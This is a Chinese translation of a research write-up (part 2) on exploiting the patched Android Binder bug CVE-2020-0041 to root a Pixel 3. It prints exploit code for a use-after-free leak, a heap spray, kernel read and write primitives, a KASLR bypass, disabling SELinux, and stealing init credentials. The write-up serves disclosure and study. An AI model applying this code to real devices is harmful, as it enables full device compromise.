-
-
[翻译]CVE-2020-0041:Chrome沙箱逃逸漏洞利用分析(part2)
-
2020-5-6 18:07 7258
-
CVE-2020-0041:Chrome沙箱逃逸漏洞利用分析(part1)
https://bbs.pediy.com/thread-258674.htm
几个月前,我们发现并利用了Binder驱动程序中的漏洞,该漏洞已于2019年12月10日向Google报告,漏洞已包含在2020年3月的Android安全公告(CVE-2020-0041)中。
在上一篇文章中,我们分析了该漏洞以及如何利用它逃逸Google Chrome沙箱。如果你还没有阅读过该文章,应该先看一下这篇分析,以了解我们正在利用的漏洞以及可用的原语。在这篇文章中,我们将描述如何使用相同的bug攻击内核并在Pixel 3设备上获得root特权。
0x01 破坏内存原语
如我们之前的文章中所述,当驱动程序在处理经过验证的binder transaction时,我们可以破坏它的某些部分,可以在两个阶段使用这些值作为攻击目标:
- 收到transaction后,将由用户空间组件进行处理。这包括libbinder以及上层结构。这就是我们在上一篇文章中用来攻击Chrome浏览器进程的方法。
- 使用transaction缓冲区完成用户空间时,它要求驱动程序使用BC_FREE_BUFFER命令释放它。这导致驱动程序处理transaction缓冲区。
分析一下绑定驱动程序中的transaction缓冲区清理代码,同时考虑到我们可能损坏了transaction数据:
static void binder_transaction_buffer_release(struct binder_proc *proc, struct binder_buffer *buffer, binder_size_t failed_at, bool is_failure) { int debug_id = buffer->debug_id; binder_size_t off_start_offset, buffer_offset, off_end_offset; binder_debug(BINDER_DEBUG_TRANSACTION, "%d buffer release %d, size %zd-%zd, failed at %llx\n", proc->pid, buffer->debug_id, buffer->data_size, buffer->offsets_size, (unsigned long long)failed_at); if (buffer->target_node) [1] binder_dec_node(buffer->target_node, 1, 0); off_start_offset = ALIGN(buffer->data_size, sizeof(void *)); off_end_offset = is_failure ? failed_at : off_start_offset + buffer->offsets_size; [2] for (buffer_offset = off_start_offset; buffer_offset < off_end_offset; buffer_offset += sizeof(binder_size_t)) { struct binder_object_header *hdr; size_t object_size; struct binder_object object; binder_size_t object_offset; binder_alloc_copy_from_buffer(&proc->alloc, &object_offset, buffer, buffer_offset, sizeof(object_offset)); object_size = binder_get_object(proc, buffer, object_offset, &object); if (object_size == 0) { pr_err("transaction release %d bad object at offset %lld, size %zd\n", debug_id, (u64)object_offset, buffer->data_size); continue; } hdr = &object.hdr; switch (hdr->type) { case BINDER_TYPE_BINDER: case BINDER_TYPE_WEAK_BINDER: { struct flat_binder_object *fp; struct binder_node *node; fp = to_flat_binder_object(hdr); [3] node = binder_get_node(proc, fp->binder); if (node == NULL) { pr_err("transaction release %d bad node %016llx\n", debug_id, (u64)fp->binder); break; } binder_debug(BINDER_DEBUG_TRANSACTION, " node %d u%016llx\n", node->debug_id, (u64)node->ptr); [4] binder_dec_node(node, hdr->type == BINDER_TYPE_BINDER, 0); binder_put_node(node); } break; ... case BINDER_TYPE_FDA: { ... /* * the source data for binder_buffer_object is visible * to user-space and the @buffer element is the user * pointer to the buffer_object containing the fd_array. * Convert the address to an offset relative to * the base of the transaction buffer. */ [5] fda_offset = (parent->buffer - (uintptr_t)buffer->user_data) + fda->parent_offset; for (fd_index = 0; fd_index < fda->num_fds; fd_index++) { u32 fd; binder_size_t offset = fda_offset + fd_index * sizeof(fd); binder_alloc_copy_from_buffer(&proc->alloc, &fd, buffer, offset, sizeof(fd)); [6] task_close_fd(proc, fd); } } break; default: pr_err("transaction release %d bad object type %x\n", debug_id, hdr->type); break; } } }
在[1]处,驱动程序检查当前transaction是否存在目标绑定程序节点,如果存在,则递减其引用计数,如果其引用计数达到零,它可能触发释放此节点,但是我们无法控制此指针。
在[2]中,驱动程序遍历transaction中的所有对象,并进入switch语句,在其中为每种对象类型执行所需的清除。对于类型BINDER_TYPE_BINDER和BINDER_TYPE_WEAK_BINDER,清除工作涉及在[3]处使用fp-> binder查找对象,然后在[4]处减少引用计数。由于从transaction缓冲区中读取了fp-> binder,因此我们实际上可以通过用另一个值替换该值来过早释放节点引用。反过来,这可能导致未使用的Binder节点对象。
最后,对于BINDER_TYPE_FDA对象,我们可能破坏[5]中使用的parent- > buffer字段,并最终在远程进程上关闭任意文件描述符。
在我们的漏洞利用开发中,我们利用引用计数BINDER_TYPE_BINDER造成 结构binder_node类型对象出现UAF。这与我们在有关CVE-2019-2205的OffensiveCon PPT中描述的UAF完全相同。但是,我们在该漏洞利用中使用的某些技术在最近的内核中不再可用。
0x02 Binder 通信
绑定程序驱动程序的设计方式是,transaction只能发送到你从其他进程收到的句柄或上下文管理器(句柄0)。通常,当要与服务对话时,他们首先向上下文管理器 (用于当前版本的Android的三个Binder域的servicemanager,hwservicemanager或vndservicemanager)请求句柄 。
如果服务代表客户端创建子服务或对象,则该服务将发送一个句柄,以便客户端可以与新对象对话。
在某些情况下,控制通信的两端,例如对条件竞争进行更好的定时控制将是有益的。在我们的特定情况下,需要在发送transaction时知道接收方绑定程序映射的地址,以避免崩溃。另外,为了使我们拥有的损坏原语可以UAF,接收过程必须创建绑定节点,fp-> binder字段等于我们要破坏的 sg_buf值。
满足所有这些约束的最简单方法是控制transaction的发送端和接收端。在这种情况下,我们可以访问所有必需的值,而无需使用信息泄漏来从远程进程中检索它们。
但是,我们不允许通过上下文管理器 从非特权应用程序注册服务 ,因此不能走常规路线。我们 在/ dev / hwbinder域中使用了 ITokenManager服务来设置通信通道,此服务最初由Gal Beniamini在“project-zero”报告中公开使用:
Note that in order to pass the binder instance between process A and process B, the "Token Manager" service can be used. This service allows callers to insert binder objects and retrieve 20-byte opaque tokens representing them. Subsequently, callers can supply the same 20-byte token, and retrieve the previously inserted binder object from the service. The service is accessible even to (non-isolated) app contexts (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#188).
为了利用自己的“进程”,我们在漏洞利用中使用了相同的机制。然而,需要注意的是“进程”在这里并不一定代表实际的进程,而是一个binder_proc关联到一个binder文件描述符结构。
这意味着我们可以打开两个binder文件描述符,通过第一个文件描述符创建一个令牌,然后从第二个文件描述符中检索它。这样,我们已经收到第一个文件描述符拥有的句柄,现在可以在两者之间发送binder transaction。
0x03 binder_node泄漏数据和UAF漏洞
绑定程序节点由驱动程序以两种不同的方式使用:作为transaction内容的一部分,以便将它们从一个进程传递到另一个进程,或作为transaction的目标。当用作transaction的一部分时,总是从节点的rb-tree中检索这些节点,并对引用进行正确计数。当我们导致节点“UAF”时,它也会从rb-tree中删除。因此,当用作transaction目标时,我们只能悬挂指向已释放节点的指针,因为在这种情况下,驱动程序将指向实际的binder_node的指针存储在transaction-> target_node中。
binder驱动程序中有很多对target_node的引用,但是许多引用是在transaction的发送路径或调试代码中执行的。与其他相比,transaction接收路径为我们提供了一种将某些数据泄漏回用户空间的方法:
struct binder_transaction_data *trd = &tr.transaction_data; ... if (t->buffer->target_node) { struct binder_node *target_node = t->buffer->target_node; struct binder_priority node_prio; [1] trd->target.ptr = target_node->ptr; trd->cookie = target_node->cookie; node_prio.sched_policy = target_node->sched_policy; node_prio.prio = target_node->min_priority; binder_transaction_priority(current, t, node_prio, target_node->inherit_rt); cmd = BR_TRANSACTION; } else { trd->target.ptr = 0; trd->cookie = 0; cmd = BR_REPLY; } ... [2] if (copy_to_user(ptr, &tr, trsize)) { if (t_from) binder_thread_dec_tmpref(t_from); binder_cleanup_transaction(t, "copy_to_user failed", BR_FAILED_REPLY); return -EFAULT; } ptr += trsize;
在[1],驱动程序从target_node提取两个64位值到transaction_data结构中,稍后将此结构复制到[2]的 userland 。因此,如果在释放其target_node并将其替换为另一个对象之后接收到transaction,则可以读取对应于ptr和cookie的偏移处的两个64位字段。
如果我们在gdb上查看此结构编译内核,我们可以分别在偏移量0x58和0x60处看到这些字段:
(gdb) pt /o struct binder_node /* offset | size */ type = struct binder_node { /* 0 | 4 */ int debug_id; /* 4 | 4 */ spinlock_t lock; /* 8 | 24 */ struct binder_work { /* 8 | 16 */ struct list_head { /* 8 | 8 */ struct list_head *next; /* 16 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } entry; /* 24 | 4 */ enum {BINDER_WORK_TRANSACTION = 1, BINDER_WORK_TRANSACTION_COMPLETE, BINDER_WORK_RETURN_ERROR, BINDER_WORK_NODE, BINDER_WORK_DEAD_BINDER, BINDER_WORK_DEAD_BINDER_AND_CLEAR, BINDER_WORK_CLEAR_DEATH_NOTIFICATION} type; /* total size (bytes): 24 */ } work; /* 32 | 24 */ union { /* 24 */ struct rb_node { /* 32 | 8 */ unsigned long __rb_parent_color; /* 40 | 8 */ struct rb_node *rb_right; /* 48 | 8 */ struct rb_node *rb_left; /* total size (bytes): 24 */ } rb_node; /* 16 */ struct hlist_node { /* 32 | 8 */ struct hlist_node *next; /* 40 | 8 */ struct hlist_node **pprev; /* total size (bytes): 16 */ } dead_node; /* total size (bytes): 24 */ }; /* 56 | 8 */ struct binder_proc *proc; /* 64 | 8 */ struct hlist_head { /* 64 | 8 */ struct hlist_node *first; /* total size (bytes): 8 */ } refs; /* 72 | 4 */ int internal_strong_refs; /* 76 | 4 */ int local_weak_refs; /* 80 | 4 */ int local_strong_refs; /* 84 | 4 */ int tmp_refs; /* 88 | 8 */ binder_uintptr_t ptr; /* 96 | 8 */ binder_uintptr_t cookie; /* 104 | 1 */ struct { /* 104: 7 | 1 */ u8 has_strong_ref : 1; /* 104: 6 | 1 */ u8 pending_strong_ref : 1; /* 104: 5 | 1 */ u8 has_weak_ref : 1; /* 104: 4 | 1 */ u8 pending_weak_ref : 1; /* total size (bytes): 1 */ }; /* 105 | 2 */ struct { /* 105: 6 | 1 */ u8 sched_policy : 2; /* 105: 5 | 1 */ u8 inherit_rt : 1; /* 105: 4 | 1 */ u8 accept_fds : 1; /* 105: 3 | 1 */ u8 txn_security_ctx : 1; /* XXX 3-bit hole */ /* 106 | 1 */ u8 min_priority; /* total size (bytes): 2 */ }; /* 107 | 1 */ bool has_async_transaction; /* XXX 4-byte hole */ /* 112 | 16 */ struct list_head { /* 112 | 8 */ struct list_head *next; /* 120 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } async_todo; /* total size (bytes): 128 */ }
因此,我们需要找到可以随意分配和释放的对象,并且这些对象在这些偏移处包含有趣的数据。当我们最初向Google报告此漏洞时,我们编写了覆盖selinux_enforcing的漏洞利用,并且使用了kgsl_drawobj_sync,该泄漏会泄漏指向自身的指针和指向内核函数的指针。这对于漏洞验证就足够了,但对于我们在此描述的完整的root攻击来说,还不够。
对于完整的漏洞利用,我们使用了与CVE-2019-2025漏洞利用相同的对象:用于跟踪事件轮询中监视文件的Epitem 结构:
(gdb) pt /o struct epitem /* offset | size */ type = struct epitem { /* 0 | 24 */ union { /* 24 */ struct rb_node { /* 0 | 8 */ unsigned long __rb_parent_color; /* 8 | 8 */ struct rb_node *rb_right; /* 16 | 8 */ struct rb_node *rb_left; /* total size (bytes): 24 */ } rbn; /* 16 */ struct callback_head { /* 0 | 8 */ struct callback_head *next; /* 8 | 8 */ void (*func)(struct callback_head *); /* total size (bytes): 16 */ } rcu; /* total size (bytes): 24 */ }; /* 24 | 16 */ struct list_head { /* 24 | 8 */ struct list_head *next; /* 32 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } rdllink; /* 40 | 8 */ struct epitem *next; /* 48 | 12 */ struct epoll_filefd { /* 48 | 8 */ struct file *file; /* 56 | 4 */ int fd; /* total size (bytes): 12 */ } ffd; /* 60 | 4 */ int nwait; /* 64 | 16 */ struct list_head { /* 64 | 8 */ struct list_head *next; /* 72 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } pwqlist; /* 80 | 8 */ struct eventpoll *ep; /* 88 | 16 */ struct list_head { /* 88 | 8 */ struct list_head *next; /* 96 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } fllink; /* 104 | 8 */ struct wakeup_source *ws; /* 112 | 16 */ struct epoll_event { /* 112 | 4 */ __u32 events; /* XXX 4-byte hole */ /* 120 | 8 */ __u64 data; /* total size (bytes): 16 */ } event; /* total size (bytes): 128 */ }
如上所示,fllink链表与泄漏字段重叠。此列表由eventpoll用于链接正在监视同一struct文件的所有Epitem结构。因此,我们可以泄漏一对内核指针。
这里有几种可能性,如果对于一个特定的struct文件只有一个这样的表位结构,那么数据结构是什么样的:
因此,我们应该泄漏fllink的内容epitem,我们发送到两个相同的指针到文件结构。现在考虑如果在同一文件上有第二个epitem会发生什么:
在这种情况下,如果我们同时从两个表位泄漏,我们将获得它们的地址以及struct文件的地址。
在我们的漏洞利用中,在将它们用于写原语之前,我们将使用这两种技巧来公开结构文件指针和已释放节点的地址。
但是请注意,为了泄漏数据,我们需要将待处理的放在队列中,直到可以触发错误并释放binder_node为止。漏洞利用是通过为每个未决事务分配专用线程,然后根据释放节点所需的transaction次数来减少引用计数来实现的。在这种情况发生之后,我们可以随时根据需要释放释放的缓冲区,与创建的待处理transaction一样多。
0x04 获得内存写入原语
为了识别内存写入原语,我们转向transaction-> target_node字段的另一种用法:前面讨论的binder_transaction_buffer_release中引用计数的递减。假设已经用完全受控的对象替换了释放的节点,在这种情况下,驱动程序使用以下代码减少节点的引用计数:
static bool binder_dec_node_nilocked(struct binder_node *node, int strong, int internal) { struct binder_proc *proc = node->proc; assert_spin_locked(&node->lock); if (proc) assert_spin_locked(&proc->inner_lock); if (strong) { if (internal) node->internal_strong_refs--; else node->local_strong_refs--; if (node->local_strong_refs || node->internal_strong_refs) return false; } else { if (!internal) node->local_weak_refs--; if (node->local_weak_refs || node->tmp_refs || !hlist_empty(&node->refs)) return false; } if (proc && (node->has_strong_ref || node->has_weak_ref)) { if (list_empty(&node->work.entry)) { binder_enqueue_work_ilocked(&node->work, &proc->todo); binder_wakeup_proc_ilocked(proc); } [1] } else { if (hlist_empty(&node->refs) && !node->local_strong_refs && !node->local_weak_refs && !node->tmp_refs) { if (proc) { binder_dequeue_work_ilocked(&node->work); rb_erase(&node->rb_node, &proc->nodes); binder_debug(BINDER_DEBUG_INTERNAL_REFS, "refless node %d deleted\n", node->debug_id); } else { [2] BUG_ON(!list_empty(&node->work.entry)); spin_lock(&binder_dead_nodes_lock); /* * tmp_refs could have changed so * check it again */ if (node->tmp_refs) { spin_unlock(&binder_dead_nodes_lock); return false; } [3] hlist_del(&node->dead_node); spin_unlock(&binder_dead_nodes_lock); binder_debug(BINDER_DEBUG_INTERNAL_REFS, "dead node %d deleted\n", node->debug_id); } return true; } } return false; }
我们可以设置节点数据,以便到达[1]处的else分支,并确保node-> proc为NULL。在这种情况下,我们首先在[2]到达list_empty检查。要绕过此检查,需要设置一个空列表(即next和prev指向list_head本身),这就是为什么需要首先泄漏节点地址的原因。
一旦绕过了[2]处的检查,就可以通过受控数据到达[3]处的hlist_del。该函数执行以下操作:
static inline void __hlist_del(struct hlist_node *n) { struct hlist_node *next = n->next; struct hlist_node **pprev = n->pprev; WRITE_ONCE(*pprev, next); if (next) next->pprev = pprev; } static inline void hlist_del(struct hlist_node *n) { __hlist_del(n); n->next = LIST_POISON1; n->pprev = LIST_POISON2; }
现在就变成了经典的unlink,其中我们可以设置 X = Y*和(Y + 8)= X。因此,拥有两个可写的内核地址,可以使用它来破坏某些数据。此外,如果将next设置为NULL*,则仅具有一个内核地址就可以执行一个8字节的NULL写入。
0x05 重新分配具有任意内容的释放节点
上面描述的获取导致内存崩溃的unlink原语的步骤假定可以用受控对象替换释放的对象。我们不需要完全控制该对象,而只需要通过所有检查并触发hlist_del原语而不会崩溃即可。
为了实现这一点,我们使用了一种众所周知的技术:通过sendmsg syscall 堆喷控制消息。该系统调用的代码如下所示:
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg, struct msghdr *msg_sys, unsigned int flags, struct used_address *used_address, unsigned int allowed_msghdr_flags) { struct compat_msghdr __user *msg_compat = (struct compat_msghdr __user *)msg; struct sockaddr_storage address; struct iovec iovstack[UIO_FASTIOV], *iov = iovstack; unsigned char ctl[sizeof(struct cmsghdr) + 20] __attribute__ ((aligned(sizeof(__kernel_size_t)))); /* 20 is size of ipv6_pktinfo */ unsigned char *ctl_buf = ctl; int ctl_len; ssize_t err; ... if (ctl_len > sizeof(ctl)) { [1] ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL); if (ctl_buf == NULL) goto out_freeiov; } err = -EFAULT; /* * Careful! Before this, msg_sys->msg_control contains a user pointer. * Afterwards, it will be a kernel pointer. Thus the compiler-assisted * checking falls down on this. */ [2] if (copy_from_user(ctl_buf, (void __user __force *)msg_sys->msg_control, ctl_len)) goto out_freectl; msg_sys->msg_control = ctl_buf; } ... out_freectl: if (ctl_buf != ctl) [3] sock_kfree_s(sock->sk, ctl_buf, ctl_len); out_freeiov: kfree(iov); return err; }
如果请求的控制消息长度大于本地ctl缓冲区,则在[1]处将在内核堆上分配一个缓冲区。在[2]处,从用户区复制控制消息,最后在[3]处处理消息后,释放分配的缓冲区。
一旦目标套接字缓冲区已满,我们将使用阻塞调用来使系统调用阻塞,因此在点[2]和[3]之间的线程之后进行阻塞。这样,我们可以控制替换对象的生存期。
还可以利用Jann Horn在其PROCA攻击中使用的方法:让sendmsg调用完成,并立即使用signalfd文件描述符重新分配该对象,这样的好处是不需要为每个分配使用单独的线程。
在任何情况下,使用这种类型的喷射,我们都可以按照几乎完全控制的方式重新分配释放的binder节点,以便触发前面所述的写原语。
但是要注意的一件事是,如果我们的喷射失败,由于释放的内存上要执行的操作和检查量很大,最终将导致内核崩溃。但是,这种UAF的特性非常好,只要我们不触发写原语,就可以简单地关闭binder文件描述符,并且不会对内核有任何影响。
因此,在尝试触发写原语之前,我们使用泄漏原语来验证是否已成功重新分配节点。为此,只需拥有大量待处理的transaction,并在每次需要从释放的对象中泄漏一些数据时读取一个transaction。如果数据不是我们期望的,可以简单地关闭binder文件描述符,然后重试。
即使存在相对不可靠的重新分配,此属性也使漏洞利用非常可靠。
0x06 获取任意读取原语
此时,我们使用与OffensiveCon 2020演讲中所述相同的任意读取技术。也就是说,我们破坏了file-> f_inode并使用以下代码 执行读取:
int do_vfs_ioctl(struct file *filp, unsigned int fd, unsigned int cmd, unsigned long arg) { int error = 0; int __user *argp = (int __user *)arg; struct inode *inode = file_inode(filp); switch (cmd) { ... case FIGETBSZ: return put_user(inode->i_sb->s_blocksize, argp); ...
如果看了我们的PPT,早在2018年末,我们就使用了binder mapping spray绕过PAN,并在受控位置获得了受控数据。但是,在摆脱内核端绑定程序映射的同时,引入了我们在此处利用的漏洞。这意味着我们不能再使用binder mapping spray,必须找到另一种解决方案。
我们想到的解决方案是将f_inode字段指向一个epitem结构。该结构包含一个完全可控制的64位字段:event.data字段。可以使用ep_ctl(efd,EPOLL_CTL_MOD,fd,&event)修改此字段。因此,如果将数据字段与inode-> i_sb字段对齐,将能够执行任意读取。
下图以图形方式展示了设置:
我们破坏了基于epitem的 fllink.next 内存区域 ,由于我们获得了写原语就可以指回file->f_inode 。如果曾经使用过此字段,则可能会出现问题,但是由于我们是这些struct文件和 Epitem实例的唯一用户,因此 只需避免调用任何使用它们的API就可以了。
基于上面描述的设置,我们现在可以如下构建一个任意读取原语:
uint64_t read32(uint64_t addr) { struct epoll_event evt; evt.events = 0; evt.data.u64 = addr - 24; int err = epoll_ctl(file->ep_fd, EPOLL_CTL_MOD, pipes[0], &evt); uint32_t test = 0xdeadbeef; ioctl(pipes[0], FIGETBSZ, &test); return test; } uint64_t read64(uint64_t addr) { uint32_t lo = read32(addr); uint32_t hi = read32(addr+4); return (((uint64_t)hi) << 32) | lo; }
请注意,我们的数据字段设置 epitem到 地址- 24,其中24偏移的 s_blocksize的结构。同样,即使 s_blocksize原则上是64位长,但 ioctl代码仅将32位复制回用户区,因此如果要读取64位值,我们需要读取两次。
现在有了一个任意的读取原语,并且从最初的泄漏中知道了结构文件的地址,我们可以简单地读取f_op 字段来检索内核.text指针。
这会导致完全绕过KASLR:
/* Step 1: leak a pipe file address */ file = node_new("leak_file"); /* Only works on file implementing the 'epoll' function. */ while (!node_realloc_epitem(file, pipes[0])) node_reset(file); uint64_t file_addr = file->file_addr; log_info("[+] pipe file: 0x%lx\n", file_addr); /* Step 2: leak epitem address */ struct exp_node *epitem_node = node_new("epitem"); while (!node_kaddr_disclose(file, epitem_node)) node_reset(epitem_node); printf("[*] file epitem at %lx\n", file->kaddr); /* * Alright, now we want to do a write8 to set file->f_inode. * Given the unlink primitive, we'll set file->f_inode = epitem + 80 * and epitem + 88 = &file->f_inode. * * With this we can change f_inode->i_sb by modifying the epitem data, * and get an arbitrary read through ioctl. * * This is corrupting the fllink, so we better don't touch anything there! */ struct exp_node *write8_inode = node_new("write8_inode"); node_write8(write8_inode, file->kaddr + 120 - 40 , file_addr + 0x20); printf("[*] Write done, should have arbitrary read now.\n"); uint64_t fop = read64(file_addr + 0x28); printf("[+] file operations: %lx\n", fop); kernel_base = fop - OFFSET_PIPE_FOP; printf("[+] kernel base: %lx\n", kernel_base);
0x07 禁用SELinux并设置任意写原语
现在我们知道了内核基地址,可以使用写原语在selinux_enforcing变量上写一个NULL qword 并将SELinux设置为许可模式。我们的漏洞利用程序在设置任意写入原语之前会执行此操作,因为我们提出的技术实际上需要禁用SELinux。
在考虑了几种选择之后,我们最终决定攻击内核用来处理/ proc / sys的sysctl表以及从那里hook所有数据。有许多描述这些变量的全局表,例如下面的kern_table:
static struct ctl_table kern_table[] = { { .procname = "sched_child_runs_first", .data = &sysctl_sched_child_runs_first, .maxlen = sizeof(unsigned int), .mode = 0644, .proc_handler = proc_dointvec, }, #if defined(CONFIG_PREEMPT_TRACER) || defined(CONFIG_IRQSOFF_TRACER) { .procname = "preemptoff_tracing_threshold_ns", .data = &sysctl_preemptoff_tracing_threshold_ns, .maxlen = sizeof(unsigned int), .mode = 0644, .proc_handler = proc_dointvec, }, { .procname = "irqsoff_tracing_threshold_ns", .data = &sysctl_irqsoff_tracing_threshold_ns, .maxlen = sizeof(unsigned int), .mode = 0644, .proc_handler = proc_dointvec, }, ...
例如,第一个变量是“ sched_child_runs_first”,这意味着可以通过/ proc / sys / kernel / sched_child_runs_first对其进行访问。文件模式为0644,所以它只能写为root(当然SELinux限制可能适用),它是一个整数。读写由proc_dointvec函数处理,该函数将在访问文件时将整数与字符串表示形式进行转换。该数据字段指向其中变量在内存中,以获得任意的读/写原语。
我们最初尝试将其中一些变量作为目标,但随后意识到该表实际上仅在内核初始化期间使用。这意味着破坏该表的内容对我们不是很有用。但是,此表用于创建一组内存结构,这些内存结构定义了现有的sysctl变量及其权限。
这些结构可以通过分析sysctl_table_root结构找到,该结构包含一个ctl_node节点的rb-tree ,然后指向定义变量本身的ctl_table表。由于我们具有读取原语,因此可以解析并找到其中的最左边的节点,该节点没有子节点。
在正常情况下,tree如下图所示:
如果查看这些节点的字母顺序,可以看到所有左子节点均按字母降序排序。实际上,这是这些树中的平衡规则:左子级必须比当前节点低,而右子级必须更高。
因此,为了确保我们保持树的平衡,请使用我们的write8 原语,向最左边的节点添加名称以“ aaa”开头的左子节点。以下代码在prev_node中找到树的最左节点,这将是我们假节点的插入点:
/* Now we can prepare our magic sysctl node as s child of the left-most node */ uint64_t sysctl_table_root = kernel_base + SYSCTL_TABLE_ROOT_OFFSET; printf("[+] sysctl_table_root = %lx\n", sysctl_table_root); uint64_t ctl_dir = sysctl_table_root + 8; uint64_t node = read64(ctl_dir + 80); uint64_t prev_node; while (node != 0) { prev_node = node; node = read64(node + 0x10); }
为了插入新节点,我们需要在内核存储器中为其找到一个位置。这是必需的,因为现代移动手机都启用了PAN(永远访问权限),可以防止内核无意中使用用户区内存。假设我们有一个任意的读取原语,可以通过解析从current-> mm-> pgd开始的进程的页表,并在physmap中找到其中一个页面的地址来解决这个问题。另外,使用我们自己的用户空间页面的physmap别名是理想的选择,因为可以轻松地编辑节点以更改要定位的数据的地址,从而为我们提供了灵活的读/写原语。
通过以下方式解析physmap别名:
/* Now resolve our mapping at 2MB. But first read memstart_addr so we can do phys_to_virt() */ memstart_addr = read64(kernel_base + MEMSTART_ADDR_OFFSET); printf("[+] memstart_addr: 0x%lx\n", memstart_addr); uint64_t mm = read64(current + MM_OFFSET); uint64_t pgd = read64(mm + 0x40); uint64_t entry = read64(pgd); uint64_t next_tbl = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12); printf("[+] First level entry: %lx -> next table at %lx\n", entry, next_tbl); /* Offset 8 for 2MB boundary */ entry = read64(next_tbl + 8); next_tbl = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12); printf("[+] Second level entry: %lx -> next table at %lx\n", entry, next_tbl); entry = read64(next_tbl); uint64_t kaddr = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12); *(uint64_t *)map = 0xdeadbeefbadc0ded; if ( read64(kaddr) != 0xdeadbeefbadc0ded) { printf("[!] Something went wrong resolving the address of our mapping\n"); goto out; }
请注意,我们需要读取memstart_addr的内容,以便能够在物理地址和相应的physmap地址之间进行转换。运行此代码后,在进程地址空间的0x200000处找到的数据也可以在内核域的kaddr中找到。
这样,就可以如下设置新的sysctl节点:
/* We found the insertion place, setup the node */ uint64_t node_kaddr = kaddr; void *node_uaddr = map; uint64_t tbl_header_kaddr = kaddr + 0x80; void *tbl_header_uaddr = map + 0x80; uint64_t ctl_table_kaddr = kaddr + 0x100; ctl_table_uaddr = map + 0x100; uint64_t procname_kaddr = kaddr + 0x200; void * procname_uaddr = map + 0x200; /* Setup rb_node */ *(uint64_t *)(node_uaddr + 0x00) = prev_node; // parent = prev_node *(uint64_t *)(node_uaddr + 0x08) = 0; // right = null *(uint64_t *)(node_uaddr + 0x10) = 0; // left = null *(uint64_t *)(node_uaddr + 0x18) = tbl_header_kaddr; // my_tbl_header *(uint64_t *)(tbl_header_uaddr) = ctl_table_kaddr; *(uint64_t *)(tbl_header_uaddr + 0x18) = 0; // unregistering *(uint64_t *)(tbl_header_uaddr + 0x20) = 0; // ctl_Table_arg *(uint64_t *)(tbl_header_uaddr + 0x28) = sysctl_table_root; // root *(uint64_t *)(tbl_header_uaddr + 0x30) = sysctl_table_root; // set *(uint64_t *)(tbl_header_uaddr + 0x38) = sysctl_table_root + 8; // parent *(uint64_t *)(tbl_header_uaddr + 0x40) = node_kaddr; // node *(uint64_t *)(tbl_header_uaddr + 0x48) = 0; // inodes.first /* Now setup ctl_table */ uint64_t proc_douintvec = kernel_base + PROC_DOUINTVEC_OFFSET; *(uint64_t *)(ctl_table_uaddr) = procname_kaddr; // procname *(uint64_t *)(ctl_table_uaddr + 8) = kernel_base; // data == what to read/write *(uint32_t *)(ctl_table_uaddr + 16) = 0x8; // max size *(uint64_t *)(ctl_table_uaddr + 0x20) = proc_douintvec; // proc_handler *(uint32_t *)(ctl_table_uaddr + 20) = 0666; // mode = rw-rw-rw- /* * Compute and write the node name. We use a random name starting with aaa * for two reasons: * * - Must be the first node in the tree alphabetically given where we insert it (hence aaa...) * * - If we already run, there's a cached dentry for each name we used earlier which has dangling * pointers but is only reachable through path lookup. If we'd reuse the name, we'd crash using * this dangling pointer at open time. * * It's easier to have a unique enough name instead of figuring out how to clear the cache, * which would be the cleaner solution here. */ int fd = open("/dev/urandom", O_RDONLY); uint32_t rnd; read(fd, &rnd, sizeof(rnd)); sprintf(procname_uaddr, "aaa_%x", rnd); sprintf(pathname, "/proc/sys/%s", procname_uaddr); /* And finally use a write8 to inject this new sysctl node */ struct exp_node *write8_sysctl = node_new("write8_sysctl"); node_write8(write8_sysctl, kaddr, prev_node + 16);
在/ proc / sys / aaa_ [random]中创建一个具有读/写权限的文件,并使用proc_douintvec处理读/写。此函数将数据字段作为要读取或写入的指针,并允许最多以无符号整数读取或写入max_size个字节。
这样,我们可以如下设置写原语:
void write64(uint64_t addr, uint64_t value) { *(uint64_t *)(ctl_table_uaddr + 8) = addr; // data == what to read/write *(uint32_t *)(ctl_table_uaddr + 16) = 0x8; char buf[100]; int fd = open(pathname, O_WRONLY); if (fd < 0) { printf("[!] Failed to open. Errno: %d\n", errno); } sprintf(buf, "%u %u\n", (uint32_t)value, (uint32_t)(value >> 32)); int ret = write(fd, buf, strlen(buf)); if (ret < 0) printf("[!] Failed to write, errno: %d\n", errno); close(fd); } void write32(uint64_t addr, uint32_t value) { *(uint64_t *)(ctl_table_uaddr + 8) = addr; // data == what to read/write *(uint32_t *)(ctl_table_uaddr + 16) = 4; char buf[100]; int fd = open(pathname, O_WRONLY); sprintf(buf, "%u\n", value); write(fd, buf, strlen(buf)); close(fd); }
0x08 获得 root 权限
一旦我们在Pixel手机上具有读/写功能,获得root访问权限就像从root任务复制凭据一样简单。由于我们早先已经禁用了SELinux,因此只需要查找初始化凭据,增加其引用计数并将它们复制到我们的进程中,如下所示:
/* Set refcount to 0x100 and set our own credentials to init's */ write32(init_cred, 0x100); write64(current + REAL_CRED_OFFSET, init_cred); write64(current + REAL_CRED_OFFSET + 8, init_cred); if (getuid() != 0) { printf("[!!] Something went wrong, we're not root!!\n"); goto out; }
但是,还有一些工作要完成,因为我们已经破坏了内核领域的相当多的内存,一旦退出当前进程并执行shell,事情就会崩溃。我们需要修复一些事情:
通过sendmsg重新分配了用于执行写原语的binder_node结构,但在执行写操作时再次将其释放。我们需要确保相应的线程在从sendmsg返回时不会再次释放这些对象。为此解析线程堆栈,并用ZERO_SIZE_PTR替换对这些节点的所有引用。
我们已经修改了f_inode一个的结构文件,它现在指向到一个中间epitem。解决此问题的最简单方法是简单地增加该文件的引用计数,以使永远不会调用release。
- 在设置读取原语时,我们还破坏了表位本身中的一个字段。此字段是一个链表一个epitem而已,所以我们可以只复制fllist.prev上的fllist.next恢复列表。
